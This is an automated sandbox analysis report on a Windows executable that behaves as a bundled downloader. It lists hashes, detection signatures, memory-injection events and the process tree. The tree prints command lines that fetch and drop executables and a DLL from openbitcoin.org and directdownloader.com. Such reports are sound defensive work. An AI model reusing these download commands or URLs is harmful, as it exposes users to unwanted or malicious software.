38b098c5115eefe327f18972bb296c728f9e080f33aacc6f6613f139732dd697

General

Target

f81fccbb682f8a39d9e061210e668e5c.exe
Size

510KB
MD5

f81fccbb682f8a39d9e061210e668e5c
SHA1

10ea987313e733fd48916a54445535c708c2386d
SHA256

38b098c5115eefe327f18972bb296c728f9e080f33aacc6f6613f139732dd697
SHA512

22f4325a0331188cc8ae838e73f03d6a239fad88be48d5ca7964f47f70c01fd790af56b2695ba0ae4d089c9ff94b98ec3ecbd90102cc2d48abd5d3c90d7b52b4
SSDEEP

12288:lB38d6peEUBwXVwM9vylzdYvH7Aw5XoR0g46:lBsd8XVNCiH7j4RH

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 6 IoCs

pid	Process
3336	downloaderSTUB.exe
2520	downloaderSTUB.exe
3172	downloaderSTUB.exe
3980	downloaderDDLR.exe
3492	downloaderOFFER0.exe
1256	preinstaller.exe

Loads dropped DLL 25 IoCs

pid	Process
3492	downloaderOFFER0.exe
2520	downloaderSTUB.exe
3980	downloaderDDLR.exe
3172	downloaderSTUB.exe
3336	downloaderSTUB.exe
3980	downloaderDDLR.exe
3336	downloaderSTUB.exe
3492	downloaderOFFER0.exe
2520	downloaderSTUB.exe
3172	downloaderSTUB.exe
3336	downloaderSTUB.exe
3172	downloaderSTUB.exe
3492	downloaderOFFER0.exe
3980	downloaderDDLR.exe
2520	downloaderSTUB.exe
3336	downloaderSTUB.exe
3492	downloaderOFFER0.exe
3172	downloaderSTUB.exe
3980	downloaderDDLR.exe
2520	downloaderSTUB.exe
2520	downloaderSTUB.exe
3492	downloaderOFFER0.exe
3980	downloaderDDLR.exe
3336	downloaderSTUB.exe
3172	downloaderSTUB.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral2/files/0x0006000000023211-5.dat	nsis_installer_1
behavioral2/files/0x0006000000023211-5.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 3052 wrote to memory of 3336	3052	f81fccbb682f8a39d9e061210e668e5c.exe	91
PID 3052 wrote to memory of 3336	3052	f81fccbb682f8a39d9e061210e668e5c.exe	91
PID 3052 wrote to memory of 3336	3052	f81fccbb682f8a39d9e061210e668e5c.exe	91
PID 3052 wrote to memory of 2520	3052	f81fccbb682f8a39d9e061210e668e5c.exe	92
PID 3052 wrote to memory of 2520	3052	f81fccbb682f8a39d9e061210e668e5c.exe	92
PID 3052 wrote to memory of 2520	3052	f81fccbb682f8a39d9e061210e668e5c.exe	92
PID 3052 wrote to memory of 3172	3052	f81fccbb682f8a39d9e061210e668e5c.exe	93
PID 3052 wrote to memory of 3172	3052	f81fccbb682f8a39d9e061210e668e5c.exe	93
PID 3052 wrote to memory of 3172	3052	f81fccbb682f8a39d9e061210e668e5c.exe	93
PID 3052 wrote to memory of 3980	3052	f81fccbb682f8a39d9e061210e668e5c.exe	96
PID 3052 wrote to memory of 3980	3052	f81fccbb682f8a39d9e061210e668e5c.exe	96
PID 3052 wrote to memory of 3980	3052	f81fccbb682f8a39d9e061210e668e5c.exe	96
PID 3052 wrote to memory of 3492	3052	f81fccbb682f8a39d9e061210e668e5c.exe	94
PID 3052 wrote to memory of 3492	3052	f81fccbb682f8a39d9e061210e668e5c.exe	94
PID 3052 wrote to memory of 3492	3052	f81fccbb682f8a39d9e061210e668e5c.exe	94
PID 3052 wrote to memory of 1256	3052	f81fccbb682f8a39d9e061210e668e5c.exe	95
PID 3052 wrote to memory of 1256	3052	f81fccbb682f8a39d9e061210e668e5c.exe	95
PID 3052 wrote to memory of 1256	3052	f81fccbb682f8a39d9e061210e668e5c.exe	95

C:\Users\Admin\AppData\Local\Temp\f81fccbb682f8a39d9e061210e668e5c.exe
"C:\Users\Admin\AppData\Local\Temp\f81fccbb682f8a39d9e061210e668e5c.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3052
- C:\Users\Admin\AppData\Local\Temp\1d20b682489db7af937388c143273be8\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\1d20b682489db7af937388c143273be8\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\1d20b682489db7af937388c143273be8\stub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3336
- C:\Users\Admin\AppData\Local\Temp\1d20b682489db7af937388c143273be8\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\1d20b682489db7af937388c143273be8\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\1d20b682489db7af937388c143273be8\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2520
- C:\Users\Admin\AppData\Local\Temp\1d20b682489db7af937388c143273be8\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\1d20b682489db7af937388c143273be8\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\1d20b682489db7af937388c143273be8\updater.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3172
- C:\Users\Admin\AppData\Local\Temp\1d20b682489db7af937388c143273be8\downloaderOFFER0.exe
  C:\Users\Admin\AppData\Local\Temp\1d20b682489db7af937388c143273be8\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\1d20b682489db7af937388c143273be8\optimizer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3492
- C:\Users\Admin\AppData\Local\Temp\1d20b682489db7af937388c143273be8\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\1d20b682489db7af937388c143273be8\preinstaller.exe 0 "thewalkingdeadepisode3longroadahead-reloaded" "Download"
  2⤵
  - Executes dropped EXE
  PID:1256
- C:\Users\Admin\AppData\Local\Temp\1d20b682489db7af937388c143273be8\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\1d20b682489db7af937388c143273be8\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\1d20b682489db7af937388c143273be8\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3980

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\1d20b682489db7af937388c143273be8\downloaderOFFER2.exe

Filesize
58KB

MD5
c7f6ed56312c8fbb58ae6ed445c38df4

SHA1
e2dba94ef052db774478b9f7198c1a2298b334e5

SHA256
fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

SHA512
ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

Download Submit
C:\Users\Admin\AppData\Local\Temp\1d20b682489db7af937388c143273be8\preinstaller.exe

Filesize
213KB

MD5
06baef00ae0f0e42fc5fea24fc4eac42

SHA1
9161574590f09cfe4c24498827386ed57f2e8c58

SHA256
19460c3c1b450286c68fba77086c561e740374ae5c44213dd2ec22dc52a430b8

SHA512
29431ff9f16fdd4122a10dfec0f260a4397e776daae2ef17defae71e037f082d48d186a24d229c408c9d1b0b4f02aaeaa69011e44cf399795f9c09903ac51486

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsn41A9.tmp\NSISdl.dll

Filesize
14KB

MD5
a5f8399a743ab7f9c88c645c35b1ebb5

SHA1
168f3c158913b0367bf79fa413357fbe97018191

SHA256
dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

SHA512
824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

Download Submit
memory/1256-47-0x0000000000400000-0x000000000043F000-memory.dmp

Filesize
252KB

Download
memory/3052-0-0x0000000000400000-0x0000000000446000-memory.dmp

Filesize
280KB

Download
memory/3052-46-0x0000000000400000-0x0000000000446000-memory.dmp

Filesize
280KB

Download

Analysis

Sharing